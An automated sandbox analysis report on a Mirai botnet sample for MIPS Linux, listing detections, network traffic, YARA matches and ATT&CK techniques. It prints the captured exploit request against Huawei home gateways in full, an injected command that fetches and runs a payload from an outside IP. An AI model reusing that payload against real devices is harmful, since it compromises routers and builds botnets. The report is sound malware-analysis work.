Edit tour

Linux Analysis Report
8TTFrTs5E6.elf

Overview

General Information

Sample Name:	8TTFrTs5E6.elf
Original Sample Name:	dafea6b9abed97ba5aa25f0c808fa857.elf
Analysis ID:	815222
MD5:	dafea6b9abed97ba5aa25f0c808fa857
SHA1:	4e2b75922d2b46d94b92514b00dd066e8939fa0f
SHA256:	908a7b05bb544e438d9c25b39771ddd8cc4db02f3fb0a257c72953313fa32598
Tags:	32elfmipsmirai
Infos:

Detection

Mirai

Score:	72
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Yara detected Mirai

Multi AV Scanner detection for submitted file

Sample deletes itself

Uses known network protocols on non-standard ports

Yara signature match

Sample has stripped symbol table

HTTP GET or POST without a user agent

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	815222
Start date and time:	2023-02-25 19:14:07 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	8TTFrTs5E6.elf
Original Sample Name:	dafea6b9abed97ba5aa25f0c808fa857.elf
Detection:	MAL
Classification:	mal72.troj.evad.linELF@0/408@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/8TTFrTs5E6.elf
PID:	6232
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

8TTFrTs5E6.elf (PID: 6232, Parent: 6125, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/8TTFrTs5E6.elf

8TTFrTs5E6.elf New Fork (PID: 6234, Parent: 6232)

8TTFrTs5E6.elf New Fork (PID: 6236, Parent: 6234)

8TTFrTs5E6.elf New Fork (PID: 6237, Parent: 6234)

8TTFrTs5E6.elf New Fork (PID: 6238, Parent: 6234)

8TTFrTs5E6.elf New Fork (PID: 6241, Parent: 6234)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
8TTFrTs5E6.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth (Nextron Systems)	0x11722:$x2: /bin/busybox chmod 777 * /tmp/ 0x117bc:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6232.1.00007f81a4400000.00007f81a4413000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth (Nextron Systems)	0x11722:$x2: /bin/busybox chmod 777 * /tmp/ 0x117bc:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 459Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 36 36 2e 32 33 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 66 75 78 69 20 2d 72 20 2f 79 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 66 75 78 69 3b 20 2f 74 6d 70 2f 66 75 78 69 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 45.66.230.47 -l /tmp/fuxi -r /y; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: 8TTFrTs5E6.elf	ReversingLabs: Detection: 41%
Source: 8TTFrTs5E6.elf	Virustotal: Detection: 49%			Perma Link

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 197.139.136.208
Source: unknown	TCP traffic detected without corresponding DNS query: 76.152.57.208
Source: unknown	TCP traffic detected without corresponding DNS query: 125.104.248.37
Source: unknown	TCP traffic detected without corresponding DNS query: 155.130.178.176
Source: unknown	TCP traffic detected without corresponding DNS query: 170.252.252.114
Source: unknown	TCP traffic detected without corresponding DNS query: 180.102.223.31
Source: unknown	TCP traffic detected without corresponding DNS query: 164.191.193.125
Source: unknown	TCP traffic detected without corresponding DNS query: 194.24.100.57
Source: unknown	TCP traffic detected without corresponding DNS query: 32.233.157.44
Source: unknown	TCP traffic detected without corresponding DNS query: 192.112.58.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.29.97.149
Source: unknown	TCP traffic detected without corresponding DNS query: 163.135.184.185
Source: unknown	TCP traffic detected without corresponding DNS query: 85.169.232.81
Source: unknown	TCP traffic detected without corresponding DNS query: 165.21.61.43
Source: unknown	TCP traffic detected without corresponding DNS query: 159.162.126.184
Source: unknown	TCP traffic detected without corresponding DNS query: 213.234.133.150
Source: unknown	TCP traffic detected without corresponding DNS query: 118.76.64.170
Source: unknown	TCP traffic detected without corresponding DNS query: 178.172.241.25
Source: unknown	TCP traffic detected without corresponding DNS query: 98.160.235.71
Source: unknown	TCP traffic detected without corresponding DNS query: 126.26.255.231
Source: unknown	TCP traffic detected without corresponding DNS query: 122.90.63.216
Source: unknown	TCP traffic detected without corresponding DNS query: 70.35.32.137
Source: unknown	TCP traffic detected without corresponding DNS query: 177.62.100.175
Source: unknown	TCP traffic detected without corresponding DNS query: 52.129.97.8
Source: unknown	TCP traffic detected without corresponding DNS query: 65.226.39.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.108.242.143
Source: unknown	TCP traffic detected without corresponding DNS query: 217.189.140.116
Source: unknown	TCP traffic detected without corresponding DNS query: 124.14.121.206
Source: unknown	TCP traffic detected without corresponding DNS query: 176.66.152.12
Source: unknown	TCP traffic detected without corresponding DNS query: 63.97.205.152
Source: unknown	TCP traffic detected without corresponding DNS query: 194.7.33.23
Source: unknown	TCP traffic detected without corresponding DNS query: 101.230.211.87
Source: unknown	TCP traffic detected without corresponding DNS query: 43.15.244.147
Source: unknown	TCP traffic detected without corresponding DNS query: 53.18.211.101
Source: unknown	TCP traffic detected without corresponding DNS query: 98.26.221.186
Source: unknown	TCP traffic detected without corresponding DNS query: 138.144.196.140
Source: unknown	TCP traffic detected without corresponding DNS query: 183.42.61.234
Source: unknown	TCP traffic detected without corresponding DNS query: 120.183.106.195
Source: unknown	TCP traffic detected without corresponding DNS query: 116.228.38.125
Source: unknown	TCP traffic detected without corresponding DNS query: 50.186.222.127
Source: unknown	TCP traffic detected without corresponding DNS query: 115.239.252.135
Source: unknown	TCP traffic detected without corresponding DNS query: 13.238.18.69
Source: unknown	TCP traffic detected without corresponding DNS query: 219.225.40.50
Source: unknown	TCP traffic detected without corresponding DNS query: 45.156.37.102
Source: unknown	TCP traffic detected without corresponding DNS query: 78.100.223.66
Source: unknown	TCP traffic detected without corresponding DNS query: 119.27.48.156
Source: unknown	TCP traffic detected without corresponding DNS query: 126.50.255.93
Source: unknown	TCP traffic detected without corresponding DNS query: 97.126.111.217
Source: unknown	TCP traffic detected without corresponding DNS query: 219.24.126.6
Source: unknown	TCP traffic detected without corresponding DNS query: 189.85.81.239

Source: 8TTFrTs5E6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 8TTFrTs5E6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: 8TTFrTs5E6.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth (Nextron Systems)
Source: 6232.1.00007f81a4400000.00007f81a4413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth (Nextron Systems)

Source: 8TTFrTs5E6.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth (Nextron Systems), description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27
Source: 6232.1.00007f81a4400000.00007f81a4413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth (Nextron Systems), description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27

Source: Initial sample	String containing 'busybox' found: (<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 45.66.230.47 -l /tmp/fuxi -r /y; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: (<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 45.66.230.47 -l /tmp/fuxi -r /y; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1582/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/3088/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/230/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/110/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/231/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/232/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1579/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/112/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/233/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1699/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/113/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/234/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1335/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1698/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/114/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/235/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1334/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1576/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/2302/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/115/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/236/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/116/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/237/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/117/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/118/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/910/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/119/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/912/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/10/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/2307/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/11/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/918/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/6241/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/12/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/13/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/14/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/15/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/16/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/17/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/18/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1594/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/120/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/121/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1349/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/122/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/243/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/123/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/2/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/124/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/3/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/4/maps	Jump to behavior
Source: /tmp/8TTFrTs5E6.elf (PID: 6236)	File opened: /proc/4/cmdline	Jump to behavior

Source: 8TTFrTs5E6.elf, 6232.1.00007ffffdff6000.00007ffffe017000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/8TTFrTs5E6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/8TTFrTs5E6.elf
Source: 8TTFrTs5E6.elf, 6232.1.0000560f288a5000.0000560f2892c000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/mips
Source: 8TTFrTs5E6.elf, 6232.1.0000560f288a5000.0000560f2892c000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: 8TTFrTs5E6.elf, 6232.1.00007ffffdff6000.00007ffffe017000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Source	Detection	Scanner	Label	Link
8TTFrTs5E6.elf	41%	ReversingLabs	Linux.Trojan.Mirai
8TTFrTs5E6.elf	49%	Virustotal		Browse

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	8TTFrTs5E6.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	8TTFrTs5E6.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
131.95.103.131	unknown	United States	16430	USMUS	false
157.214.20.164	unknown	United States	4704	SANNETRakutenMobileIncJP	false
41.195.126.253	unknown	South Africa	16637	MTNNS-ASZA	false
124.48.199.255	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
157.232.65.255	unknown	United States	4704	SANNETRakutenMobileIncJP	false
211.89.109.0	unknown	China	7641	CHINABTNChinaBroadcastingTVNetCN	false
157.3.239.206	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
40.127.68.130	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
157.251.170.209	unknown	United States	32934	FACEBOOKUS	false
61.91.208.202	unknown	Thailand	7470	TRUEINTERNET-AS-APTRUEINTERNETCoLtdTH	false
41.45.223.136	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.141.53.63	unknown	Algeria	36891	ICOSNET-ASDZ	false
86.55.62.148	unknown	Iran (ISLAMIC Republic Of)	197207	MCCI-ASIR	false
106.80.57.164	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.76.64.234	unknown	South Africa	16637	MTNNS-ASZA	false
201.14.164.189	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
157.208.226.75	unknown	United States	12552	IPO-EUSE	false
197.76.64.237	unknown	South Africa	16637	MTNNS-ASZA	false
151.32.206.171	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
146.150.30.36	unknown	United States	15169	GOOGLEUS	false
223.40.86.32	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
210.244.34.210	unknown	Taiwan; Republic of China (ROC)	4780	SEEDNETDigitalUnitedIncTW	false
111.123.111.203	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
135.232.82.28	unknown	United States	10455	LUCENT-CIOUS	false
151.22.11.137	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
168.145.13.34	unknown	United States	27435	OPSOURCE-INCUS	false
